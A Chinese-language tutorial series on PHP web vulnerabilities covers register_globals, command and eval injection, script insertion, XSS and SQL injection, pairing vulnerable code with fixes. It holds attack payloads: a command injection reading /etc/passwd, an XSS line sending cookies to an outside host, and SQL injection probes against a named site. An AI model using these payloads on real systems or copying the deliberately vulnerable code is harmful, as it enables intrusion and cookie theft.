

针对 PHP 的网站主要存在下面几种攻击方式:

- 1、命令注入(Command Injection)
- 2、eval 注入(Eval Injection)
- 3、客户端脚本攻击(Script Insertion)
- 4、跨网站脚本攻击(Cross Site Scripting, XSS)
- 5、SQL 注入攻击(SQL injection)
- 6、跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
- 7、Session 会话劫持(Session Hijacking)
- 8、Session 固定攻击(Session Fixation)
- 9、HTTP 响应拆分攻击(HTTP Response Splitting)
- 10、文件上传漏洞(File Upload Attack)
- 11、目录穿越漏洞(Directory Traversal)
- 12、远程文件包含攻击(Remote Inclusion)
- 13、动态函数注入攻击(Dynamic Variable Evaluation)
- 14、URL 攻击(URL attack)
- 15、表单提交欺骗攻击(Spoofed Form Submissions)
- 16、HTTP 请求欺骗攻击(Spoofed HTTP Requests)

以后的每期连载，会逐个介绍这些漏洞的原理和防御方法。

几个重要的 php.ini 选项

Register Globals

php>=4.2.0, php.ini 的 register_globals 选项的默认值预设设为 Off, 当 register_globals 的设定为 On 时, 程序可以接收来自服务器的各种环境变量, 包括表单提交的变量, 而且由于 PHP 不必事先初始化变量的值, 从而导致很大的安全隐患。

例 1:

//check_admin()用于检查当前用户权限, 如果是 admin 设置\$is_admin 变量为 true, 然后下面判断此变量是否为 true, 然后执行管理的一些操作

//ex1.php

<?php

if (check_admin())

{

 \$is_admin = true;

}

if (\$is_admin)

{

 do_something();

}

?>

这一段代码没有将 \$is_admin 事先初始化为 False, 如果 register_globals 为 On, 那么我们直接提交 http://www.sectop.com/ex1.php?is_admin=true, 就可以绕过 check_admin()的验证

例 2:

```
//ex2.php
<?php
if (isset($_SESSION["username"]))
{
    do_something();
}
else
{
    echo "您尚未登录!";
}
?>
```

当 `register_globals=On` 时，我们提交 `http://www.sectop.com/ex2.php?_SESSION[username]=dodo`，就具有了此用户的权限
 所以不管 `register_globals` 为什么，我们都要记住，对于任何传输的数据要经过仔细验证，变量要初始化

safe_mode

安全模式，PHP 用来限制文档的存取、限制环境变量的存取，控制外部程序的执行。启用安全模式必须设置 `php.ini` 中的 `safe_mode = On`

1、限制文件存取

`safe_mode_include_dir = "/path1:/path2:/path3"`

不同的文件夹用冒号隔开

2、限制环境变量的存取

`safe_mode_allowed_env_vars = string`

指定 PHP 程序可以改变的环境变量的前缀，如 `safe_mode_allowed_env_vars = PHP_`，当这个选项的值为空时，那么 php 可以改变任何环境变量

`safe_mode_protected_env_vars = string`

用来指定 php 程序不可改变的环境变量的前缀

3、限制外部程序的执行

`safe_mode_exec_dir = string`

此选项指定的文件夹路径影响 `system`、`exec`、`popen`、`passthru`，不影响 `shell_exec` 和“`”。

`disable_functions = string`

不同的函数名称用逗号隔开，此选项不受安全模式影响

magic quotes

用来让 php 程序的输入信息自动转义，所有的单引号(“”), 双引号(“”), 反斜杠(“\”)和空字符(NULL)，都自动被加上反斜杠进行转义

`magic_quotes_gpc = On` 用来设置 magic quotes 为 On，它会影响 HTTP 请求的数据(GET、POST、Cookies)

程序员也可以使用 `addslashes` 来转义提交的 HTTP 请求数据，或者用 `stripslashes` 来删除转义

PHP 漏洞全解(二)-命令注入攻击

命令注入攻击

PHP 中可以使用下列 5 个函数来执行外部的应用程序或函数
system、exec、passthru、shell_exec、`(与 shell_exec 功能相同)

函数原型

string system(string command, int &return_var)

command 要执行的命令

return_var 存放执行命令的执行后的状态值

string exec (string command, array &output, int &return_var)

command 要执行的命令

output 获得执行命令输出的每一行字符串

return_var 存放执行命令后的状态值

void passthru (string command, int &return_var)

command 要执行的命令

return_var 存放执行命令后的状态值

string shell_exec (string command)

command 要执行的命令

漏洞实例

例 1:

//ex1.php

<?php

\$dir = \$_GET["dir"];

if (isset(\$dir))

{

 echo "<pre>";

 system("ls -al ".\$dir);

 echo "</pre>";

}

?>

我们提交 <http://www.sectop.com/ex1.php?dir=| cat /etc/passwd>

提交以后，命令变成了 system("ls -al | cat /etc/passwd");

eval 注入攻击

eval 函数将输入的字符串参数当作 PHP 程序代码来执行

函数原型:

mixed eval(string code_str)//eval 注入一般发生在攻击者能控制输入的字符串的时候

//ex2.php

<?php

\$var = "var";

if (isset(\$_GET["arg"]))

{

 \$args = \$_GET["arg"];

 eval("\\$var = \$args;");

 echo "\\$var = ".\$var;

}

?>

当我们提交 [http://www.sectop.com/ex2.php?arg=phpinfo\(\)](http://www.sectop.com/ex2.php?arg=phpinfo())，漏洞就产生了
动态函数

```
<?php
func A()
{
    dosomething();
}
func B()
{
    dosomething();
}
if (isset($_GET["func"]))
{
    $myfunc = $_GET["func"];
    echo $myfunc();
}
?>
```

程序员原意是想动态调用 A 和 B 函数，那我们提交 <http://www.sectop.com/ex.php?func=phpinfo> 漏洞产生

防范方法

- 1、尽量不要执行外部命令
- 2、使用自定义函数或函数库来替代外部命令的功能
- 3、使用 `escapeshellarg` 函数来处理命令参数
- 4、使用 `safe_mode_exec_dir` 指定可执行文件的路径

`escapeshellarg` 函数会将任何引起参数或命令结束的字符转义，单引号“'”，替换成“\'”，双引号“””，替换成“\””，分号“;”替换成“\;”

用 `safe_mode_exec_dir` 指定可执行文件的路径，可以把会使用的命令提前放入此路径内

`safe_mode = On`

`safe_mode_exec_dir = /usr/local/php/bin/`

PHP 漏洞全解(三)-客户端脚本植入

客户端脚本植入(**Script Insertion**)，是指将可以执行的脚本插入到表单、图片、动画或超链接文字等对象内。当用户打开这些对象后，攻击者所植入的脚本就会被执行，进而开始攻击。可以被用作脚本植入的 HTML 标签一般包括以下几种：

- 1、<script>标签标记的 javascript 和 vbscript 等页面脚本程序。在<script>标签内可以指定 js 程序代码，也可以在 src 属性内指定 js 文件的 URL 路径
- 2、<object>标签标记的对象。这些对象是 java applet、多媒体文件和 ActiveX 控件等。通常在 data 属性内指定对象的 URL 路径
- 3、<embed>标签标记的对象。这些对象是多媒体文件，例如:swf 文件。通常在 src 属性内指定对象的 URL 路径

4、<applet>标签标记的对象。这些对象是 java applet，通常在 codebase 属性内指定对象的 URL 路径

5、<form>标签标记的对象。通常在 action 属性内指定要处理表单数据的 web 应用程序的 URL 路径

客户端脚本植入的攻击步骤

- 1、攻击者注册普通用户后登陆网站
- 2、打开留言页面，插入攻击的 js 代码
- 3、其他用户登录网站（包括管理员），浏览此留言的内容
- 4、隐藏在留言内容中的 js 代码被执行，攻击成功

实例

数据库

```
CREATE TABLE `postmessage` (  
  `id` int(11) NOT NULL auto_increment,  
  `subject` varchar(60) NOT NULL default "",  
  `name` varchar(40) NOT NULL default "",  
  `email` varchar(25) NOT NULL default "",  
  `question` mediumtext NOT NULL,  
  `postdate` datetime NOT NULL default '0000-00-00 00:00:00',  
  PRIMARY KEY (`id`)  
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=' 使用 者 的 留 言 '  
AUTO_INCREMENT=69;
```

//add.php 插入留言

//list.php 留言列表

//show.php 显示留言

程序和数据库打包下载地址

点我下载

提交下图的留言

浏览此留言的时候会执行 js 脚本

插入 <script>while(1){windows.open();}</script> 无限弹框

插入<script>location.href="http://www.sectop.com";</script> 跳转钓鱼页面

或者使用其他自行构造的 js 代码进行攻击

防范的方法

一般使用 htmlspecialchars 函数来将特殊字符转换成 HTML 编码

函数原型

```
string htmlspecialchars (string string, int quote_style, string charset)
```

string 是要编码的字符串

quote_style 可选, 值可为 ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES，默认值 ENT_COMPAT，表示只转换双引号不转换单引号。ENT_QUOTES，表示双引号和单引号都要转换。ENT_NOQUOTES，表示双引号和单引号都不转换

charset 可选,表示使用的字符集

函数会将下列特殊字符转换成 html 编码:

& ----> &

" ----> "

' ----> '

< ----> <

> ----> >

把 show.php 的第 98 行改成

```
<?php echo htmlspecialchars($row['question'], ENT_QUOTES); ?>
```

然后再查看插入 js 的漏洞页面

PHP 漏洞全解(四)-xss 跨站脚本攻击

XSS(Cross Site Scripting), 意为跨网站脚本攻击, 为了和样式表 css(Cascading Style Sheet)区别, 缩写为 XSS

跨站脚本主要被攻击者利用来读取网站用户的 cookies 或者其他个人数据, 一旦攻击者得到这些数据, 那么他就可以伪装成此用户来登录网站, 获得此用户的权限。

跨站脚本攻击的一般步骤:

- 1、攻击者以某种方式发送 xss 的 http 链接给目标用户
- 2、目标用户登录此网站, 在登陆期间打开了攻击者发送的 xss 链接
- 3、网站执行了此 xss 攻击脚本
- 4、目标用户页面跳转到攻击者的网站, 攻击者取得了目标用户的信息
- 5、攻击者使用目标用户的信息登录网站, 完成攻击

当有存在跨站漏洞的程序出现的时候, 攻击者可以构造类似 `http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script>`, 诱骗用户点击后, 可以获取用户 cookies 值

防范方法:

利用 `htmlspecialchars` 函数将特殊字符转换成 HTML 编码

函数原型

```
string htmlspecialchars (string string, int quote_style, string charset)
```

string 是要编码的字符串

quote_style 可选, 值可为 `ENT_COMPAT`、`ENT_QUOTES`、`ENT_NOQUOTES`, 默认值 `ENT_COMPAT`, 表示只转换双引号不转换单引号。`ENT_QUOTES`, 表示双引号和单引号都要转换。`ENT_NOQUOTES`, 表示双引号和单引号都不转换

charset 可选,表示使用的字符集

函数会将下列特殊字符转换成 html 编码:

& ----> &

" ----> "

' ----> '

< ----> <

> ----> >

`$_SERVER["PHP_SELF"]`变量的跨站

在某个表单中，如果提交参数给自己，会用这样的语句

```
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
```

.....

```
</form>
```

`$_SERVER["PHP_SELF"]`变量的值为当前页面名称

例:

`http://www.sectop.com/get.php`

`get.php` 中上述的表单

那么我们提交

```
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
```

那么表单变成

```
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
```

跨站脚本被插进去了

防御方法还是使用 `htmlspecialchars` 过滤输出的变量，或者提交给自身文件的表单使用

```
<form action="" method="post">
```

这样直接避免了 `$_SERVER["PHP_SELF"]` 变量被跨站

PHP 漏洞全解(五)-SQL 注入攻击

SQL 注入攻击(SQL Injection)，是攻击者在表单中提交精心构造的 sql 语句，改变原来的 sql 语句，如果 web 程序没有对提交的数据经过检查，那么就会造成 sql 注入攻击。

SQL 注入攻击的一般步骤:

- 1、攻击者访问有 SQL 注入漏洞的网站，寻找注入点
- 2、攻击者构造注入语句，注入语句和程序中的 SQL 语句结合生成新的 sql 语句
- 3、新的 sql 语句被提交到数据库中进行处理
- 4、数据库执行了新的 SQL 语句，引发 SQL 注入攻击

实例

数据库

```
CREATE TABLE `postmessage` (  
  `id` int(11) NOT NULL auto_increment,  
  `subject` varchar(60) NOT NULL default "",  
  `name` varchar(40) NOT NULL default "",  
  `email` varchar(25) NOT NULL default "",  
  `question` mediumtext NOT NULL,  
  `postdate` datetime NOT NULL default '0000-00-00 00:00:00',  
  PRIMARY KEY (`id`)  
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT=' 使用 者 的 留 言 '  
AUTO_INCREMENT=69 ;  
grant all privileges on ch3.* to 'sectop'@localhost identified by '123456';
```

//add.php 插入留言
//list.php 留言列表
//show.php 显示留言
程序和数据库打包下载地址
点我下载
页面 <http://www.netsos.com.cn/show.php?id=71> 可能存在注入点，我们来测试
<http://www.netsos.com.cn/show.php?id=71 and 1=1>
返回页面

提交 <http://www.netsos.com.cn/show.php?id=71 and 1=2>
返回页面

一次查询到记录，一次没有，我们来看看源码

//show.php 12-15 行
// 执行 mysql 查询语句

```
$query = "select * from postmessage where id = ".$_GET["id"];  
$result = mysql_query($query)
```

```
    or die("执行 ySQL 查询语句失败: ".mysql_error());
```

参数 id 传递进来后，和前面的字符串结合的 sql 语句放入数据库进行查询

提交 and 1=1，语句变成 select * from postmessage where id = 71 and 1=1 这语句前值后值都为真，and 以后也为真，返回查询到的数据

提交 and 1=2，语句变成 select * from postmessage where id = 71 and 1=2 这语句前值为真，后值为假，and 以后为假，查询不到任何数据

正常的 SQL 查询，经过我们构造的语句之后，形成了 SQL 注入攻击。通过这个注入点，我们还可以进一步拿到权限，比如说利用 union 读取管理密码，读取数据库信息，或者用 mysql 的 load_file, into outfile 等函数进一步渗透。

防范方法

整型参数:

使用 intval 函数将数据转换成整数

函数原型

```
int intval(mixed var, int base)
```

var 是要转换成整形的变量

base, 可选，是基础数，默认是 10

浮点型参数:

使用 floatval 或 doubleval 函数分别转换单精度和双精度浮点型参数

函数原型

```
int floatval(mixed var)
```

var 是要转换的变量

```
int doubleval(mixed var)
```

var 是要转换的变量

字符型参数:

使用 addslashes 函数来将单引号“'”转换成“\'”，双引号“”转换成“\"”，反斜杠“\”转换成“\\”，NULL 字符加上反斜杠“\”

函数原型

```
string addslashes (string str)
```

str 是要检查的字符串

那么刚才出现的代码漏洞，我们可以这样修补

```
// 执行 mysql 查询语句
```

```
$query = "select * from postmessage where id = ".intval($_GET["id"]);
```

```
$result = mysql_query($query)
```

```
    or die("执行 ySQL 查询语句失败: " . mysql_error());
```

如果是字符型，先判断 magic_quotes_gpc 是否为 On,当不为 On 的时候使用 addslashes 转义特殊字符

```
if(get_magic_quotes_gpc())
```

```
{
```

```
    $var = $_GET["var"];
```

```
}
```

```
else
```

```
{
```

```
    $var = addslashes($_GET["var"]);
```

```
}
```

再次测试，漏洞已经修补